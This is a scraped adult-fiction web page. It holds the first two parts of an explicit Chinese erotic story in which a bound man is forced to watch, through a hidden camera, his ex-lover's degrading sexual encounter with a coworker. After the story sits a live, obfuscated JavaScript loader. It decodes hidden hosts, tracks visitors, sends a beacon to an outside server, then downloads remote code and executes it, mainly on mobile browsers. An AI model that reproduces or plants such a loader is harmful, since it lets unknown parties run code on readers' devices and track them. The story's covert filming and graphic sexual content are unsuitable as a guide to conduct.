★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

【恨】作者:NeeWui(尼玉)

   恨


发言人∶NeeWui
字数:2.5万

※前言※

这篇文章是为了受背叛的男人所写,希望能藉由它来解放受伤的心。文中心
理描写的部份极端变态,或许读者会感到不理解,既然要让人解脱,为何不是让
背叛者得到惩罚?

其实,真正的解脱是心死而重生,抱负只能逞一时快感,无法抚慰受伤的灵
魂。
****************************************************************

恨(一)

我醒过来时,整颗脑袋痛得彷佛快裂开来般,本能的想起身倒水喝,手脚竟
不听使唤。这才发现自己被一圈圈粗绳连着椅子牢牢捆绑在一起,嘴巴也被布团
塞住。

『怎么回事……』我努力思索着昏迷前的记忆,只记得一推门进来,后颈就
遭到一记重击,本来还有知觉想转身抵抗,但立即被一条有力的胳臂锢住脖子,
鼻子也让满刺鼻药味的湿布给捂住,意识很快就昏沉了,醒来时就变成这模样。

『难道遇到了绑架?』想想自己都觉得好笑,我是什么身价?绑了我的绑匪
不是没打听清楚!就是白疑!把我连肉卖掉也值不了多少钱。

然而奇怪的是我还在旅馆房间里,如果被绑架,他们应该会带我到别的地方
去藏起来才对啊!这旅馆是我们前天住进来的,公司办活动,邀请国外的学术团
体来参观交流,我们这些接待的人跟他们一起住进这里,我和一位绰号阿痞的男
同事住一起,另外还有两名女同事玉婷和小甜是在同一间房。玉婷今晚有事,不
在旅馆住,阿痞也不知道跑哪去,刚刚我才从小甜那里回来,心想,今天真是够
了!在小甜那里吃到闭门羹,一进房还遇到袭击,不知道是什么好日子?

其实小甜是我的秘密情人,也是公司之花,长得清甜可人,而且个性活泼大
方,她报到的第一天,就已经是所有男同事注目的焦点了,不过没多久后她选择
了我──一个已婚的小职员当男友,对其他人的追求无动于衷,当然和一个有妇
之夫交往是不能够公开的,在办公室里只能眼波传情、有时在茶水间偷个吻,享
受刺激神秘的地下恋情,日子倒也浪漫得很。下了班就是属于我俩最快乐的时光
了,通常用完晚餐后,会到宾馆或在车上疯狂作爱,缠绵过后我再送她返家,然
后飞车回自己家扮演丈夫的角色。

虽然没去注意,但公司一定有人知道我们的事,我就怀疑我们部门的主管陈
副总已经听到风声而且看出端倪,陈副总以前常在部门聚会里对小甜毛手毛脚,
小甜也是玩起来很疯的个性,对于他的骚扰不但不以为意,有一次还在大夥起哄
中,亲了副总的脸一下,让那丑得像河马般的男人乐得嘴都歪了!不过那是还没
和我在一起以前的事,自从和我愈来愈亲近,两人渐渐坠入爱河后,她每次的聚
会都刻意不坐在那些主管和男同事旁边,只跑来和我坐,那些人看在眼里对我充
满嫉妒和敌意,像陈副总就一直找我麻烦,不过只要能和小甜在一起我就心满意
足,对他们的敌意我反而有种难以形容的优越感。

只是梦中事物愈是美丽、梦醒后的失落也愈难受,我终于尝到这种滋味了。

婚外情的日子虽然甜蜜,却美的不踏实,小甜刚开始不计名份和我在一起,
只是过于年轻,被爱情冲昏头,并没想到以后的生活怎么办!一年过后,她开始
感到前途的不安定,我是个没勇气离婚的懦弱男人,根本不能给她幸福的保障,
于是她对我的热情快速降温,不只言谈变得冷漠、甚至碰她的手一下都会招到白
眼。

我知道她希望我能离婚和她在一起,只是每次我找借口提离婚,我合法的妻
子就寻死觅活,甚至作出同归于尽的可怕行为,让我更加不敢说出婚外情的事,
因为害怕会连累小甜受到伤害。

小甜可能一直以为我没努力过、只是想玩玩她吧!所以对我更是轻视。我苦
在心中却无法向她解释些什么,毕竟说再多都只是借口,只要我不能娶她,就没
权利一直霸占着她的心。

阿痞来我们公司后,我和小甜的关系更蒙上阴影,阿痞人如其名,是个自命
不凡的雅痞男人,高高瘦瘦的衣架子体格、又重视打扮,加上故意表现得放荡不
羁、很有个性的样子,在女人堆中十分吃得开。

他这种花花公子当然不会放过全公司最美丽的女同事,那就是我的小甜,很
不幸的,我看得出小甜也被他的魅力所吸引了!每次看他们在我旁边打闹嘻笑,
我的心就快被嫉妒给吞噬,但能说什么呢?人家是未娶、未嫁,我却是有家室的
男人,光这一点就注定落于下风,更何况阿痞很多方面都比我强、也比我会追女
人,像我这种连养情妇都没资格的男人,能向小甜抗议什么吗?只能强忍破碎的
心、认命看她投向阿痞的怀抱!

不过有一点我却怎么也吞忍不下,我对小甜总是百般呵护,把她捧得像仙女
一样,她却愈来愈觉得我烦人。而阿痞却不是这样,他对小甜开玩笑说的话听起
来恶毒下流不说,有时还作出轻薄和不礼貌的动作,但小甜反而乐在其中和他愈
逗愈起劲。

每次遇到这种情形我就默默的捏紧拳头、心在淌血!试想一个男人在你面前
一直对你的女友说些下流的笑话、作下流的动作,你会受得了吗?其实小甜心里
早就不把我当一回事,我仍然深深在意着她,也只能怪自己作茧自缚了!

不过小甜至少到现在还没和阿痞交往,这是我稍微能安慰的地方,她每天还
是让我送她上下班、一起吃晚餐,只是对我很冷漠,我也因为愧疚和自卑,愈来
愈无法和她像以前一样相处,这种龟缩的样子可能让她更讨厌我吧?

自从她开始讨厌我,我们已经将近半年没亲热过了。今晚趁着与她同房的玉
婷不会回来,好不容易鼓起勇气到她房间,想要重拾以往温存的甜蜜,没想到竟
被她赶了出来,说什么我是色狼之类伤人的话。

天晓得,她以前和我亲热时,再露骨的话都曾对我说过!她还说,虽然我已
经结了婚,但她的人和心永远只属于我一人,不管发生什么事都不会离开我!而
现在,我只不过没经她允许抱了她一下,就被说成色狼?!女人的翻脸真是无情
啊!不过又能怎么样呢?

『还不是你自己没本事离婚,不然她早就是你的了。』我这样告诉自己,摸
了摸鼻子难过的回自己房间……

我沉思在以往回忆中不知过了多久,眼前的电视萤幕突然「嗤」一声,自己
亮了起来,我被吓了一跳,定下神仔细看,才发现这家旅馆的电视原来有定时启
动装置。

『看看电视也好,反正被绑得跟死狗没两样,想挣脱也挣脱不掉,不如等抓
我的人回来看要怎么处置我吧!』想到小甜,我心中不由升起厌世的念头,一点
脱逃的意志都提不起,『就算被歹徒杀死也一了百了,省得留在世上受这种感情
罪。』我心中甚至这样想。

然而电视萤幕上播的竟然不是寻常的节目,而是一个熟悉的房间!感觉像是
针孔摄影机从上方俯角拍摄。

『是了!这不就是这家旅馆的房间吗?』我惊觉到不寻常,而且很快认出萤
幕出现的正是小甜住的那间房,因为她有件衣服还叠在床边,和刚才我被赶出来
时最后一眼的印象完全符合。

绑我的人到底有什么企图?为什么要我在这里看小甜的房间?我正纳闷着,
电视传来一阵「唏哩哗啦」的冲水声,接着厕所的门打开了,小甜走进镜头里,
她扎起了马尾,露出白皙美丽的颈项,身上穿着一件紧身的T恤(那是我送给她
的),还有一条十分短的热裤。只见她爬上床、背倚着床头,将枕头枕在腰下,
伸直那双修长均匀的玉腿,然后按下遥控器舒服的看着电视。

没过几秒钟,她房间的门铃响了,小甜缩回双腿、一脸不耐烦的走下床,我
猜想:她可能以为又是我来烦她吧?只见她的背对镜头、走到门口朝窥视孔看了
看,接着很快就拉开门。

「怎么是你?」

小甜在萤幕里是背对着我,因此无法知道她说话时的表情,不过声音里流露
的喜欢成份,绝对远远大过于讨厌。

「怎么!不然你在等谁?」门口一个男人声音回问道,我真讶异这针孔摄影
机的性能,不但拍摄出来的画面清晰、而且声音的收讯更是敏锐,连这么远的距
离都收得一清二楚。

「我那有等谁?有什么事啦?」小甜故意没好气的说,这是她的个性,每次
被人看穿什么的时候,就会用这种方式来掩饰,看在情场老手的眼里根本是很幼
稚的。

「没事不能敲你门吗?是不是里面有男人?」那男的半挑□的说道。

「神经病!到底有什么事啦?」小甜似怒非怒的嗔道,女人用这种语气对男
人,多半不是真的生气。

「我在门口站这么久,不让我进去坐吗?是不是怕我吃了你吗?」

那男人无赖的调调让我觉得很熟悉,心里也不禁着急起来!『小甜不会随便
让别的男人进房吧?她才把我赶出来而已!至少到目前为止,我仍是她最亲密的
男人……』我一厢情愿的安慰自己,但很不幸我的猜想是错的!

「要进来就进来吧!」小甜让那个男人进房了!

『不……你怎么能这样对我……』我忘了自己被绑在椅子上,心里唯一的念
头就是想冲去她房间,结果差点就连人带椅摔倒在地上,我努力冷静下来,要是
摔倒在地上,就连小甜房里发生什么事都不知道了!

男人走进来了,一看到他出现在萤幕上,我的心真得要被捏碎了,那是……
阿痞。

可恶!他竟还朝着镜头对我发出胜利邪恶的笑容!

『不!不能这样对我!求求你……』我呜呜呜的不知喊些什么,一条被绑在
椅子上塞住嘴的可怜虫,正看着心爱的女人和另一个男人共处一室,像被宣判死
刑般、无能为力的等着最害怕的事发生,我真的很想闭上眼睛,偏偏怎么也办不
到。

『还好吧……小甜不是随便的女人,可能只是不好意思拒绝他、才会让他进
去坐坐,他不可能有机会的……』我又试图安慰自己酸苦到快凋萎的心,但每次
想解读她的想法,结果都会让我更无法忍受!

小甜竟然不在意阿痞就在房内,毫无矜持的往床上一坐屈起双腿,一副慵懒
性感的模样大方的让阿痞看,由于她穿的那条热裤十分短,因此坐这样时连屁股
的肉都盖不太不住,我的心再往下沉了一截,头皮开始发麻了,阿痞这无耻的畜
牲,竟然也爬到床上挨着她香肩坐。

小甜只皱了一下眉头,听不出有任何讨厌意味的嗔道:「坐那么近干嘛!想
吃人家豆腐哦!」

「你不是想很久了吗?」阿痞无耻的贴得更近,手指不安份的玩着小甜耳鬓
香香的发丝。

「你少恶了……」小甜虽然一直盯着电视看、假装若无其事,但耸挺的胸脯
却起伏的有些快,呼吸也变得不自然,我的心简直快炸开了!这是她意乱情迷的
前兆,她一点也不讨厌阿痞对她的挑逗,否则早就拨开他的手了!怎还会任由他
坐得贴那么近?而且还是在床上!

「你好香……」阿痞鼻子凑过去,在她耳边轻轻的嗅着。

「唉啊……你好讨厌哦,会痒啦!」小甜微弱的缩着脖子抗议,但声音却是
软软甜甜,让人觉得她彷佛快酥了!

『你可以站起来!可以用力地拒绝他!可以离开那张床的!小甜……我求求
你……』我感到整个人就快被嫉妒和恐惧给掏空了。但小甜不单没照我希望的去
作,反而愈来愈无法掩饰她身体的兴奋,虽然眼睛还停留在电视上,但呼吸短促
而迷乱,大腿也没夹得像开始那么紧。

阿痞依旧在她雪白的颈项上来来回回、若有似无的嗅着,到后来小甜几乎已
经快坐不住,眸光一片涣散,双手不知所以然的抓着床褥。

「唔……你……不要再吹人家了……好痒……讨厌啦……」她急促喘着气、
几乎呻吟的嗲着阿痞,她这种诱人的样子,分明是告诉男人可以再往下一阶段进
行。

阿痞这个花丛老手岂有不知之理?他不急不徐的在小甜可爱的耳垂边吹着热
气,小甜纤软的娇躯像被一波波电流袭击般的抽颤着,双眸已经完全阖起,微皱
着眉享受这花花公子巧妙的调情。我才刚闭起眼不愿再看下去,突然听到小甜一
声酥软的呻吟,妒火逼我再度睁开眼!

「啊……嗯……讨厌啦……」她整个人几乎已经偎在阿痞怀里,那可恨的男
人正含着她的耳珠温柔舔逗,她两手紧紧抓着阿痞的大腿,兴奋得彷佛就快融化
似的。

「告诉我……你是不是有和公司……里已婚的男人来往……」阿痞吸着她耳
垂,含混不清的问道。

「才没有呢……你听谁乱说的?」小甜玉唇轻启吐着热气,心虚的回答道。

「别想骗我……公司有人在传说……我也看过……你和Robert在一起过。」

「那……那是……只是……刚好遇到……顺便一起……」男人一直在挑逗,
让她话中参杂着喘气、说得已是颠三倒四,『你说谎!你明明和我是一对!』我
忍不住心中呐喊!

「喜不喜欢我?」阿痞突然话题一转直接问她,此刻我的心早就像一沱烂泥
般,被人踩在脚下任意践踏,阿痞是故意问给我听的,小甜晕着脸嗯了一声,刹
那间我连灵魂都已经被撕碎,脑海轰然一片空白和绝望。

等我回过神、二行热泪毫无知觉的不知已流了多久!萤幕里阿痞二张大手围
着小甜的柳腹,低着头和她热烈的亲吻,小甜兴奋的连脚趾头都蜷起来,阿痞的
手刚开始只爱抚着她平坦的肚子,渐渐兵分二路,一手伸到她大腿上、另一手往
上移到胸部、温柔的握住那座挺秀山峰挲抚。

我的血液已经凝结了,曾经只属于我的小甜,今天把我当色狼赶出她的房间
已经够让人难过了,没想到还跟这花花公子在房内……这对我实在太残忍了!

那两人吻得唇舌交融,彷佛化不开,阿痞的手也没闲着,已经成功钻进热裤
里,正揉弄她身体最私密的部位。

「嗯……哼……」小甜眉头揪得更紧,玉手紧掐着阿痞的手背,那双匀润的
大腿虽然象徵性夹着,其实一点也没用力,有时还故意张开一下,让阿痞的手能
更深入!这场无耻的舌战不知过了多久,她终于依依不舍和阿痞的双唇分开,但
已被他吻得脸颊飞红、娇眸生水了。

「你手……先出来一下……」她含羞的向阿痞求道。阿痞依她意思把已挤进
她裤口的半张手掌抽出来,小甜微咬着唇不敢看阿痞、而以行动来表达她有多愿
意,只见她用脚尖撑起屁股,双手抓着裤边,羞答答的摇着臀部、将热裤从修长
的玉腿上缓缓褪下,里面只有一条薄丝的丁字内裤。

『不要脸!不要脸!……』我彷佛掉到地狱般,说不出的痛苦和心碎,这女
人和我好的时候只在乎我一个,让我登上未曾到过的幸福高峰,如今把我当色狼
赶走也就算了,竟还把我曾拥有的全都送给别的男人、而且送得更彻底和不知羞
耻,让我从顶峰上摔下来、摔得尸骨无存……


恨(二)

阿痞手指隔着薄薄的布片,不停揉着小甜柔软的私处,小甜虚软的抬起一条
胳臂反搂他后颈,一脸荡漾的张着嘴轻哼,她两边大腿已毫无羞耻的完全张开,
随阿痞愈弄愈激烈,那里发出啁啁的水声,我想她裤底应该都湿了吧。

「哼……你好坏……」她一脸晕红、口是心非的嗔着阿痞。

「你不喜欢吗?不喜欢我就停下来好了!」可恨的阿痞竟然这样挑逗我的小
甜!而且他并没真的停下,手指反而还卑鄙的从裤缝边钻进去。

「噢……」被那男人直接触摸耻肉,小甜整个人兴奋的颤栗起来,我虽然没
办法看得那么清楚,但阿痞的手指一定有插进她阴道里,在原本属于我的领土作
猥亵的挑逗。

「里面好湿呢?你是不是很淫荡……」阿痞占尽便宜不说,竟还缺德的嘲笑
她。

『不是!我的小甜不是淫荡的女人!』我心里反射性的为她辩解,但小甜似
乎不领我的情,她已经完全溶化在阿痞高超的指技下。

「都是你……啊……嗯……害人家淫荡……哼……是那个地方……啊……好
舒服……」

听着小甜恬不知耻叫唤,我终于体会到心痛原来是没有止境的!只是这样的
折磨到底还有几次?会痛得什么程度才会死去?我真想逃离这个世界!

「把内裤脱掉!」阿痞命令着我的小甜。

可悲的我看着她乖乖褪下下半身仅剩的遮蔽,将覆着柔细耻毛的美丽三角丘
大方暴露在他面前,那是我多么熟悉又美丽的身体,我甚至还能清楚感觉它们光
滑细腻的触感!而今这些却是阿痞垂手可得的礼物!

「腿开一点!」阿痞的口气变得像在叫唤妓女般无礼。

我期望小甜会抗拒,甚至就像平常一样和阿痞假装斗嘴都行!但她没有!她
像期望被人干的婊子似、两条玉腿大大张成M字型。

「自己扶着腿,我要检查你的小骚穴。」

阿痞愈说愈过份,他把我心爱的女孩当成什么?我搞不懂小甜为什么喜欢被
他这样羞辱欺负,好像他对她愈粗暴、她就愈会兴奋!这和我对她百依百顺的情
况完全相反啊!

但事实就是那么残忍摆在我眼前!她靠在阿痞怀里,自己用手扶着腿弯把腿
打开,红润润的小穴不知羞耻的敞露在男人面前!我恨的是即使她已经这么屈辱
和淫贱了,阿痞仍然只用手指、毫不重视的翻弄新鲜的肉瓣,彷佛在说这种货色
到处都有一样,简直可恶到了极点!但小甜却一点都不觉得委屈,没有赘肉的小
柳腹一阵一阵的缩动,还不时以愉悦的呻吟来感谢狎弄她的男人。

正当小甜愈哼愈大声,几乎和荡妇没两样时,阿痞突然放开了她,站起来说
道:「我去尿尿一下!」

「怎么可以这样……你好可恶……不行啦……」被挑逗得春情荡漾的小甜几
近哀求的抗议。

「我上厕所这段时间,你要扶好自己的腿,不准放下来,知道吗?」

可恨的阿痞吃定了我的小甜,她是我捧在手中的仙女,却被这个男人当成玩
具般任意摆布!然而更另我伤心的是,阿痞离开的这一分钟里,小甜竟真维持这
种淫荡的姿势没变过,躺在床上露着小穴,就等阿痞回来继续玩她。

「你真听话!我来奖励你了!」阿痞上完了厕所、不急不徐走过来,小甜已
经忍耐不住的挺动纤腰,巴不得立刻投入他怀里,不过即便如此,她还是没放下
自己的腿,好像阿痞没允许她就不敢自做主张似的。

我第一次看到小甜这么屈从,这种不平等的对待让我一次比一次痛心,我已
不敢奢求小甜能不喜欢阿痞,但最少阿痞也应该把她当娇贵的美女般对待,而不
是把她当婊子一样使唤!

阿痞又面向镜头朝我斜恶的笑了,我真恨不得冲过去杀了他!

他把梳妆台下把椅子拉到床前坐下,一派优闲的看着小甜自己把小穴露在他
面前的无耻模样,彷佛在向我炫耀!要我看小甜是多么心甘情愿、渴望把身体献
给他,我恨得几乎快咬碎自己牙齿!

「坏蛋……你在作什么嘛……这样看人家……」小甜这贱人总算还有一点羞
耻心,她发觉阿痞并没过去玩弄她,而是坐在另一头看她张开腿、裸露下体的骚
样,于是不安的并拢大腿,将湿红的耻缝夹在雪白股根间。

「□!把腿张好啊,我们来玩点刺激的。」阿痞像魔鬼一样地引诱着我的小
甜。小甜听到刺激的事,虽然感到羞赧,但仍无法抗拒的再度张腿,而且不用人
说就扶好两边腿肚,深怕自己会合起来一样!姿势简直自甘作贱到了极点。

「嘿嘿……我们来玩主人与母狗的游戏,我是主人,你是我的母狗,叫两声
来给听听……」阿痞看她这么听话,兴奋得连脖子上都冒出筋来,我却恨不得一
头撞坏眼前的电视。

「汪……」小甜声音小的几乎听不见,不过还是叫出口了。

「再大声点叫,你看你都兴奋起来了,穴眼水汪汪的,好可爱呢!」阿痞虽
是对她说话,眼睛却一直看着镜头耻笑我。

「汪!汪!」小甜在他鼓励下清楚的学着狗叫,在被喜欢的男人奴隶的游戏
中,她已经亢奋得连羞耻心都迷失了!耸挺的酥胸在T恤下激动的起伏、脚掌也
绷得紧紧的。

阿痞把她当母狗逗弄够后,并不是过去温柔的抚慰她,而是用他筋骨嶙峋的
大脚、毫不怜惜的揉弄小甜嫩穴,看到这一幕的我已经抓狂了,我一向爱怜备至
的纯洁肉体,竟被这个男人如此蹂躏,而小甜不但没抗拒,还淫荡的扭着屁股配
合,嘴里发出「咿咿喔喔」的呻吟声。

「喜欢我用脚玩你吗?」阿痞双脚并用,用两根姆趾拉开小甜那水汪汪的穴
眼,将阴道入口处的构造都翻出来。

「你……讨厌啦……怎么这样……对人家……」小甜娇软无力的哼叫道。阿
痞弯起其它四根脚趾,将脚姆趾挤进温烫柔软的嫩洞中抠弄。

「啊……你好坏……这样欺负人家……小母狗不理你了……嗯……啊……再
……再深一点……再深一点……」小甜很用力的抓住自己双腿,在床上淫荡的扭
叫。

「要再深一点吗?可是我有香港脚也没关系吗?」阿痞恶虐的道。

「……没关系……弄脏了……我也是你的……」小甜不知羞耻的热烈回应,
她竟让洁净的阴道给阿痞满是细菌的脚趾这样摧残!

『就算不再爱我,你也不能这样糟蹋自己啊!』我一厢情愿的悲鸣着,却不
知小甜此刻有多兴奋和舒服?

不知过了多久(可能只有一、二分钟吧!对我来说,已经够久了),阿痞总
算停下我最不忍见到的行为,他爬上床和小甜紧紧搂在一起热吻。小甜嘴和人吸
著,手也没闲下,迫不急待的帮阿痞解扣宽衣,阿痞露出瘦而结实的上身,他的
魔爪已经伸进小甜衣服里,我看到她胸口下那两团东西不停在波动变形,一定是
阿痞的大手在衣内玩弄柔皙的奶球,我自然而然忆起她的乳房握起来又滑又软的
手感,把玩再多次都令我爱不释手,而如今却是别的男人掌中的玩物!

「哼……嗯……我爱你……老公……呃……我是你的……用力蹂躏我……」
小甜一脸迷荡的娇喘呻吟,两条玉臂搂着阿痞的脖子和背,一双腿激烈的夹住他
的腰。

「想要了吗?」阿痞温柔的拨开她黏在脸颊的发丝问道。

「想……」小甜如梦呓般的回答,阿痞脸上尽是得意和鄙夷的笑容,因为小
甜已经完全臣服在他之下。

他起身跪立在床上,小甜也跟着爬起来,香软的双唇自动送上去给他,一双
玉手体贴的为他解裤带,她从阿痞的嘴开始吻他,接着脖子、胸膛、腹肌,最后
为他拉下长裤,那耸立在红色男内裤下的阳具令她迷蒙的娇眸绽放出光彩,她温
柔的抚着包裹在裤下的巨物,两片香唇毫不矜持的贴去!殊不知道透过摄影机正
看着她的前男友,已经快绝望心碎而死,不过就算知道了,对她也丝毫没有所谓
吧!

「你可以脱下它!」阿痞揉着她的秀发,彷佛恩赐给她的说道。

小甜心儿怦怦乱跳,慢慢拉下阿痞的内裤,一条昂扬挺立的凶恶肉柱弹了出
来,小甜看的脸立刻红起来,又怕又爱的举起纤手轻握住,阿痞的家伙实在比我
的大太多了!不但长度惊人,龟头如毒蛇般棱角分明,而且棒身还呈现微弯上扬
的弧度,上面的血管暴凸出来,显得邪恶而充满暴力。

「喜欢吗?」阿痞自豪的问道。

「嗯……可是好大,人家会怕……」小甜这贱货,竟然这样取悦阿痞。

「先用嘴巴帮我服务!顺便习惯一下尺寸,才不会等一下插死你。」阿痞一
双大掌轻轻压着小甜后脑,小甜乖巧的舔着那淫亮的龟头。

「唔……你果然够浪,到底帮多少男人吹过?」阿痞舒服的吐了口气问道,
小甜认真的为他服务没回答,只是摇摇头表示否认。

「哼!没有才怪,看你舔得那么熟练,一定被不少男人干过吧?」阿痞过份
的羞辱着我的小甜,我愤怒的把椅子摇得吱吱响,仍无法挣脱牢固的捆绑。

「没有……我不是你所想的那种女人,我是想让你高兴才会这样作!我是你
的,不会喜欢别人……」小甜可怜兮兮的仰起脸向阿痞解释。

『干!』我满腔愤恨,在心中怒吼:『你人长得这么美,我把你当宝贝疼惜
你不屑,偏偏要让这男人把你当妓女一样羞辱你才会兴奋吗?!他这样糟踏耻笑
你!你为何还要苦苦向他乞怜解释?你是没人要吗!贱货!贱货!……』

「好吧!暂时相信你,把它吞进去,全部都要进去知道吗?」阿痞好像施与
大恩给小甜似的口气。

小甜得到新欢的谅解,更想卖力的取悦他,只见她辛苦的把那条超出她嘴巴
负荷的大吊一寸寸送进口中,到后来脸上已经出现痛苦的神色,雪白的喉间明显
隆起,但那粗长的肉茎还有一截在外面,她试图再往内吞。

『小甜,不要了……求求你……已经够了……』我心疼的闷叫着。

还好,阿痞见她已经到极限就没再逼她,小甜也立即用温润湿紧的小嘴「啾
啾啾」的套吮他的肉棒。

「唔……真爽……真爽……」阿痞陶醉的仰着头叹气。

「躺下来吧!」他扶着小甜的头慢慢躺到床上,小甜似乎一刻都舍不得放松
开嘴里的肉吊,吮得阿痞皱紧眉头、一直发出低沉的闷吼。

「噢……屁股面向这边,我也帮你舔一舔。」

他们竟然要玩69式!

小甜听话的跨过他的脸,将一丝不挂的股沟送到阿痞脸上,阿痞两张大手先
轻抚着白嫩光洁的大腿根和臀丘,小甜已经不争气的颤抖起来,小嘴更把男人的
吊吸得「啾啾吧吧」作响。

「很好!我来奖赏你这条小母狗。」阿痞瘦骨嶙峋的有力大手慢抓紧两瓣屁
肉,狠狠的将它们分开!

这残忍的戏码一直上演到现在,我以为我的灵魂应该已经没知觉了!但悲恨
和嫉妒仍不断地扯裂我的心!将它一层一层血淋淋的剥开!双眼无法从萤幕上移
开,耳朵无法不去听他们无耻的对话!难道我还不认输吗?不!其实我早就想向
阿痞求饶,求他放过我,小甜是他的了!我承认我是无可救药的失败者,已经没
必要在我面前这样玩弄她给我看。

阿痞当然听不到我心中悲壮的呐喊,他埋首在小甜的屁股间,故意把舌头伸
长长的,我想他是为了让我看到,慢慢朝小甜鲜红的耻缝舔下去,我握紧双拳、
恨得全身肌肉绷紧。

「唔……」小甜像被高压电袭击到似的娇躯抖颤,吞着肉棒的嘴发出愉悦的
闷哼,我能想像她淫水淡淡的味道正在阿痞口中散开,那也曾是我熟悉的滋味,
只不过换成别的男人在享用。

「嘿!你的屁眼怎么凸凸的,真可爱!」阿痞的手指正在揉着小甜的肛门,
像开发到宝藏似叫着!

是的,小甜的菊花蕾有一块凸起的小嫩肉,摸起来特别性感,这也曾是我流
连忘返的地方之一。

小甜被他说得不知是羞涩还是更兴奋起来,轻轻扭摆着屁股。阿痞对她也不
再客气了,只见他两片嘴唇吸上去(我看不到,不过应该是吸在肛门上吧),一
手掰开她的臀肉、另一手的中指插进骚穴中开始挖弄。

「呜呜……」小甜激烈的回应,凌乱的长发随吸吮男人肉根的动作而上下甩
落,雪白的脚掌吃力的撑在床褥上。

阿痞愈弄愈粗暴,在小甜赤裸裸的股间发出「唏哩呼噜」的舔吮声、手指也
把她的嫩穴插得直喷水。小甜已经无法再为他吹吮肉棒了,伏在阿痞身上「啊啊
啊」的叫春,二手胡乱抓着他的腿。

过没多久,终于见她美丽的身躯向上一挺,口中发出满足的呜咽,然后软绵
绵的瘫了下去。我知道她已经到了,被这可恶的男人送上欢愉的高峰!而这只是
前戏,接下来的事才要开始而已。


  

function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭